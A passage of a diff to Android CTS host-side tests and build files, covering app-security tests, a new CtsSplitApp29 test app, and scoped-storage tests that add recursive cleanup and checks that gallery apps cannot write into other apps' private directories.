+        Multimaps.invertFrom(Multimaps.filterKeys(sJarsToClasses, jars::contains), allClasses);
         return Multimaps.filterKeys(allClasses, key -> allClasses.get(key).size() > 1);
     }
 
@@ -417,7 +527,7 @@
         assertThat(path).isNotNull();
         try {
             return getDevice().doesFileExist(path);
-        } catch(DeviceNotAvailableException e) {
+        } catch (DeviceNotAvailableException e) {
             throw new RuntimeException("Could not check whether " + path + " exists on device", e);
         }
     }
@@ -427,22 +537,24 @@
      *
      * @return the shared library name or the jar's path if it's not a shared library.
      */
-    private String getSharedLibraryNameOrPath(String jar,
-                ImmutableList<SharedLibraryInfo> sharedLibs) {
-        return sharedLibs.stream()
-                         .filter(sharedLib -> sharedLib.paths.contains(jar))
-                         .map(sharedLib -> sharedLib.name)
-                         .findFirst().orElse(jar);
+    private String getSharedLibraryNameOrPath(String jar) {
+        return sSharedLibs.stream()
+                .filter(sharedLib -> sharedLib.paths.contains(jar))
+                .map(sharedLib -> sharedLib.name)
+                .findFirst().orElse(jar);
     }
 
     /**
      * Check whether a list of jars are all different versions of the same library.
      */
-    private boolean isSameLibrary(Collection<String> jars,
-                ImmutableList<SharedLibraryInfo> sharedLibs) {
+    private boolean isSameLibrary(Collection<String> jars) {
         return jars.stream()
-                   .map(jar -> getSharedLibraryNameOrPath(jar, sharedLibs))
-                   .distinct()
-                   .count() == 1;
+                .map(this::getSharedLibraryNameOrPath)
+                .distinct()
+                .count() == 1;
+    }
+
+    private boolean hasFeature(String featureName) throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand("pm list features").contains(featureName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 0abb593..096eb5a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -49,7 +49,7 @@
     private static final String CLASS = PKG + ".EncryptionAppTest";
     private static final String APK = "CtsEncryptionApp.apk";
 
-    private static final String OTHER_APK = "CtsSplitApp.apk";
+    private static final String OTHER_APK = "CtsSplitApp29.apk";
     private static final String OTHER_PKG = "com.android.cts.splitapp";
 
     private static final String MODE_NATIVE = "native";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index dcf30b4..c5fad14 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -55,7 +55,7 @@
     private static final String CLASS = PKG + ".EncryptionAppTest";
     private static final String APK = "CtsEncryptionApp.apk";
 
-    private static final String OTHER_APK = "CtsSplitApp.apk";
+    private static final String OTHER_APK = "CtsSplitApp29.apk";
     private static final String OTHER_PKG = "com.android.cts.splitapp";
 
     private static final String FEATURE_REBOOT_ESCROW = "feature:android.hardware.reboot_escrow";
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
index 1a02f52..c42fd09 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -36,6 +36,7 @@
         "android.test.runner.stubs",
         "android.test.base.stubs",
     ],
+    target_sdk_version: "current"
 }
 
 android_test_helper_app {
@@ -66,6 +67,35 @@
     ],
 }
 
+android_test_helper_app {
+    name: "CtsSplitApp29",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: [
+        "mdpi-v4",
+        "hdpi-v4",
+        "xhdpi-v4",
+        "xxhdpi-v4",
+        "v7",
+        "v23",
+        "fr",
+        "de",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-mainline-infra",
+    ],
+    target_sdk_version: "29"
+}
+
 // Define a variant with a different revision code
 android_test_helper_app {
     name: "CtsSplitAppDiffRevision",
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index 97a02e7..f61bc16 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -21,8 +21,7 @@
 
     <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
          to pass the build error, since tests need to use minSdkVersion 4. -->
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29" tools:overrideLibrary=
-        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
 
     <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index fbfd706..808a00d 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -25,8 +25,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
     manifest: "ScopedStorageTestHelper/TestAppB.xml",
@@ -36,8 +41,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
     manifest: "ScopedStorageTestHelper/TestAppC.xml",
@@ -47,8 +57,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC30",
     manifest: "ScopedStorageTestHelper/TestAppC30.xml",
@@ -58,8 +73,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
     manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml",
@@ -69,8 +89,13 @@
     min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppDLegacy",
     manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml",
@@ -80,7 +105,11 @@
     min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
 }
 
 android_test_helper_app {
@@ -92,8 +121,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppFileManagerBypassDB",
     manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml",
@@ -103,8 +137,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
     manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml",
@@ -114,8 +153,13 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts",
+        "cts",
+    ],
 }
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
     manifest: "ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml",
@@ -125,7 +169,11 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts",
+        "cts",
+    ],
 }
 
 android_test_helper_app {
@@ -150,9 +198,16 @@
     name: "ScopedStorageTest",
     manifest: "AndroidManifest.xml",
     srcs: ["src/**/*.java"],
-    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
+    static_libs: [
+        "truth-prebuilt",
+        "cts-scopedstorage-lib",
+    ],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
     sdk_version: "test_current",
     target_sdk_version: "31",
     min_sdk_version: "30",
@@ -161,40 +216,67 @@
         ":CtsScopedStorageTestAppB",
         ":CtsScopedStorageTestAppC",
         ":CtsScopedStorageTestAppCLegacy",
-    ]
+    ],
 }
 
 android_test {
     name: "LegacyStorageTest",
     manifest: "legacy/AndroidManifest.xml",
     srcs: ["legacy/src/**/*.java"],
-    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
+    static_libs: [
+        "truth-prebuilt",
+        "cts-scopedstorage-lib",
+    ],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
     sdk_version: "test_current",
     target_sdk_version: "29",
     min_sdk_version: "30",
     java_resources: [
         ":CtsScopedStorageTestAppA",
-    ]
+    ],
 }
 
 java_test_host {
     name: "CtsScopedStorageCoreHostTest",
-    srcs:  [
+    srcs: [
         "host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java",
-        "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+        "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java",
     ],
-    libs: ["cts-tradefed", "tradefed", "testng"],
-    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "testng",
+    ],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
     test_config: "CoreTest.xml",
 }
 
 java_test_host {
     name: "CtsScopedStorageHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["cts-tradefed", "tradefed", "testng"],
-    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "testng",
+    ],
+    static_libs: [
+        "modules-utils-build-testing",
+        "compatibility-host-util",
+    ],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
     test_config: "AndroidTest.xml",
     data: [
         ":CtsLegacyStorageTestAppRequestLegacy",
@@ -205,20 +287,20 @@
 java_test_host {
     name: "CtsScopedStoragePublicVolumeHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["cts-tradefed", "tradefed", "testng"],
-    test_suites: ["general-tests", "mts-mediaprovider"],
-    test_config: "PublicVolumeTest.xml",
-}
-
-java_test_host {
-    name: "CtsAppCloningHostTest",
-    srcs:  [
-        "host/src/android/scopedstorage/cts/host/AppCloningHostTest.java",
-        "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "testng",
     ],
-    libs: ["cts-tradefed", "tradefed", "testng"],
-    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
-    test_config: "AndroidTestAppCloning.xml",
+    static_libs: [
+        "modules-utils-build-testing",
+        "compatibility-host-util",
+    ],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+    ],
+    test_config: "PublicVolumeTest.xml",
 }
 
 android_test {
@@ -226,13 +308,24 @@
     manifest: "device/AndroidManifest.xml",
     test_config: "device/AndroidTest.xml",
     srcs: ["device/**/*.java"],
-    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",],
+    static_libs: [
+        "truth-prebuilt",
+        "cts-scopedstorage-lib",
+    ],
     compile_multilib: "both",
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
     sdk_version: "test_current",
     target_sdk_version: "31",
     min_sdk_version: "30",
-    libs: ["android.test.base", "android.test.mock", "android.test.runner",],
+    libs: [
+        "android.test.base",
+        "android.test.mock",
+        "android.test.runner",
+    ],
     java_resources: [
         ":CtsScopedStorageTestAppA",
         ":CtsScopedStorageTestAppB",
@@ -244,5 +337,5 @@
         ":CtsScopedStorageTestAppFileManagerBypassDB",
         ":CtsScopedStorageTestAppSystemGalleryBypassDB",
         ":CtsScopedStorageTestAppSystemGallery30BypassDB",
-    ]
+    ],
 }
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 42a3a36..320d541 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -28,6 +28,12 @@
         <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
         <option name="test-file-name" value="CtsLegacyStorageTestAppRequestLegacy.apk" />
     </target_preparer>
+
+    <option
+        name="config-descriptor:metadata"
+        key="mainline-param"
+        value="com.google.android.mediaprovider.apex" />
+
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" />
diff --git a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml b/hostsidetests/scopedstorage/AndroidTestAppCloning.xml
deleted file mode 100644
index 03802f2..0000000
--- a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2021 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test for App cloning support with clone user profiles">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <!-- TODO(b/169101565): change to secondary_user when fixed -->
-    <!-- Clone user profile is meant to exist only alongside a real system user.
-    It does not exist for a headless system user, or a secondary user -->
-    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
-    <test class="com.android.tradefed.testtype.HostTest" >
-        <option name="class" value="android.scopedstorage.cts.host.AppCloningHostTest" />
-    </test>
-
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
-    </object>
-</configuration>
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
index 5b725e1..325807d 100644
--- a/hostsidetests/scopedstorage/CoreTest.xml
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -27,6 +27,12 @@
         <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
         <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
+
+    <option
+        name="config-descriptor:metadata"
+        key="mainline-param"
+        value="com.google.android.mediaprovider.apex" />
+
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
     </test>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index a93aeee..ee63a8a 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -24,6 +24,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.DELETE_RECURSIVE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH;
@@ -40,6 +41,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 
@@ -93,6 +95,7 @@
                 case CAN_READ_WRITE_QUERY:
                 case CREATE_FILE_QUERY:
                 case DELETE_FILE_QUERY:
+                case DELETE_RECURSIVE_QUERY:
                 case CAN_OPEN_FILE_FOR_READ_QUERY:
                 case CAN_OPEN_FILE_FOR_WRITE_QUERY:
                 case OPEN_FILE_FOR_READ_QUERY:
@@ -263,6 +266,9 @@
                 case DELETE_FILE_QUERY:
                     intent.putExtra(queryType, file.delete());
                     return intent;
+                case DELETE_RECURSIVE_QUERY:
+                    intent.putExtra(queryType, deleteRecursively(file));
+                    return intent;
                 case SETATTR_QUERY:
                     int newTimeMillis = 12345000;
                     intent.putExtra(queryType, file.setLastModified(newTimeMillis));
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index 7e6f895..5730b2e 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -23,6 +23,11 @@
         <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
     </target_preparer>
 
+    <option
+        name="config-descriptor:metadata"
+        key="mainline-param"
+        value="com.google.android.mediaprovider.apex" />
+
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 3c86013..c684ee2 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -29,8 +29,10 @@
 import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
@@ -43,6 +45,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
@@ -208,7 +211,7 @@
             "CtsScopedStorageTestAppFileManager.apk");
     // A legacy targeting app with RES and WES permissions
     private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
-            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
 
     // The following apps are not installed at test startup - please install before using.
     private static final TestApp APP_C = new TestApp("TestAppC",
@@ -522,7 +525,7 @@
     public void testCreateAndDeleteEmptyDir() throws Exception {
         final File externalFilesDir = getExternalFilesDir();
         // Remove directory in order to create it again
-        externalFilesDir.delete();
+        deleteRecursively(externalFilesDir);
 
         // Can create own external files dir
         assertThat(externalFilesDir.mkdir()).isTrue();
@@ -536,9 +539,9 @@
         assertThat(dir2.mkdir()).isTrue();
 
         // And can delete them all
-        assertThat(dir2.delete()).isTrue();
-        assertThat(dir1.delete()).isTrue();
-        assertThat(externalFilesDir.delete()).isTrue();
+        assertThat(deleteRecursively(dir2)).isTrue();
+        assertThat(deleteRecursively(dir1)).isTrue();
+        assertThat(deleteRecursively(externalFilesDir)).isTrue();
 
         // Can't create external dir for other apps
         final File nonexistentPackageFileDir = new File(
@@ -616,7 +619,7 @@
             // At this point, we're not sure who created this file, so we'll have both apps
             // deleting it
             mediaFile.delete();
-            dirInDownload.delete();
+            deleteRecursively(dirInDownload);
         }
     }
 
@@ -753,7 +756,7 @@
             assertThat(dir.list()).asList().doesNotContain(videoFileName);
         } finally {
             deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
-            dir.delete();
+            deleteRecursively(dir);
         }
     }
 
@@ -785,7 +788,7 @@
             assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
         } finally {
             deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
-            dir.delete();
+            deleteRecursively(dir);
         }
     }
 
@@ -1159,7 +1162,7 @@
         try {
             // Delete the directory if it already exists
             if (podcastsDir.exists()) {
-                deleteAsLegacyApp(podcastsDir);
+                deleteRecursivelyAsLegacyApp(podcastsDir);
             }
             assertThat(podcastsDir.exists()).isFalse();
             assertThat(podcastsDirLowerCase.exists()).isFalse();
@@ -1580,7 +1583,7 @@
             videoFile1.delete();
             videoFile2.delete();
             videoFile3.delete();
-            nonMediaDir.delete();
+            deleteRecursively(nonMediaDir);
         }
     }
 
@@ -1756,15 +1759,15 @@
 
         } finally {
             pdfFile.delete();
-            nonMediaDirectory.delete();
+            deleteRecursively(nonMediaDirectory);
 
             videoFile1.delete();
             videoFile2.delete();
             videoFile3.delete();
-            mediaDirectory1.delete();
-            mediaDirectory2.delete();
-            mediaDirectory3.delete();
-            mediaDirectory4.delete();
+            deleteRecursively(mediaDirectory1);
+            deleteRecursively(mediaDirectory2);
+            deleteRecursively(mediaDirectory3);
+            deleteRecursively(mediaDirectory4);
         }
     }
 
@@ -1790,7 +1793,8 @@
             assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
         } finally {
             deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
-            mediaDirectory1.delete();
+            deleteRecursively(mediaDirectory1);
+            deleteRecursively(mediaDirectory2);
         }
     }
 
@@ -1809,8 +1813,8 @@
             assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
             assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
         } finally {
-            emptyDirectoryOldPath.delete();
-            emptyDirectoryNewPath.delete();
+            deleteRecursively(emptyDirectoryOldPath);
+            deleteRecursively(emptyDirectoryNewPath);
         }
     }
 
@@ -1934,8 +1938,8 @@
         } finally {
             hiddenImageFile.delete();
             imageFile.delete();
-            hiddenDir.delete();
-            nonHiddenDir.delete();
+            deleteRecursively(hiddenDir);
+            deleteRecursively(nonHiddenDir);
         }
     }
 
@@ -1974,7 +1978,7 @@
             noMediaFile.delete();
             imageFile.delete();
             videoFile.delete();
-            directoryNoMedia.delete();
+            deleteRecursively(directoryNoMedia);
         }
     }
 
@@ -2352,8 +2356,8 @@
             otherAppVideoFile2.delete();
             otherAppPdfFile1.delete();
             otherAppPdfFile2.delete();
-            dirInDcim.delete();
-            dirInPictures.delete();
+            deleteRecursively(dirInDcim);
+            deleteRecursively(dirInPictures);
             denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
@@ -2477,8 +2481,8 @@
             fileSpecialChars.delete();
             fileSpecialChars1.delete();
             fileSpecialChars2.delete();
-            dirSpecialChars.delete();
-            renamedDir.delete();
+            deleteRecursively(dirSpecialChars);
+            deleteRecursively(renamedDir);
         }
     }
 
@@ -2548,7 +2552,7 @@
         } finally {
             deleteAsLegacyApp(topLevelDir1);
             deleteAsLegacyApp(topLevelDir2);
-            nonTopLevelDir.delete();
+            deleteRecursively(nonTopLevelDir);
         }
     }
 
@@ -2786,18 +2790,57 @@
         }
     }
 
+    /**
+     * Tests that System Gallery apps cannot insert files in other app's private directories.
+     */
+    @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                    /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Tests that System Gallery apps cannot update files in other app's private directories.
+     */
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                    /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * This test is for operations to the calling app's own private packages.
+     */
     @Test
     public void testInsertFromExternalDirsViaRelativePath() throws Exception {
         verifyInsertFromExternalMediaDirViaRelativePath_allowed();
         verifyInsertFromExternalPrivateDirViaRelativePath_denied();
     }
 
+    /**
+     * This test is for operations to the calling app's own private packages.
+     */
     @Test
     public void testUpdateToExternalDirsViaRelativePath() throws Exception {
         verifyUpdateToExternalMediaDirViaRelativePath_allowed();
         verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
     }
 
+    /**
+     * This test is for operations to the calling app's own private packages.
+     */
     @Test
     public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
         int uid = Process.myUid();
@@ -2810,6 +2853,9 @@
         }
     }
 
+    /**
+     * This test is for operations to the calling app's own private packages.
+     */
     @Test
     public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
         int uid = Process.myUid();
@@ -3336,4 +3382,14 @@
         Log.d(TAG, "Deleting file " + file);
         deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
     }
+
+    /**
+     * Deletes the given file/directory recursively. If the file is a directory, then deletes all
+     * of its children (files or directories) recursively.
+     */
+    private void deleteRecursivelyAsLegacyApp(File dir) throws Exception {
+        // Use a legacy app to delete this directory, since it could be outside shared storage.
+        Log.d(TAG, "Deleting directory " + dir);
+        deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath());
+    }
 }
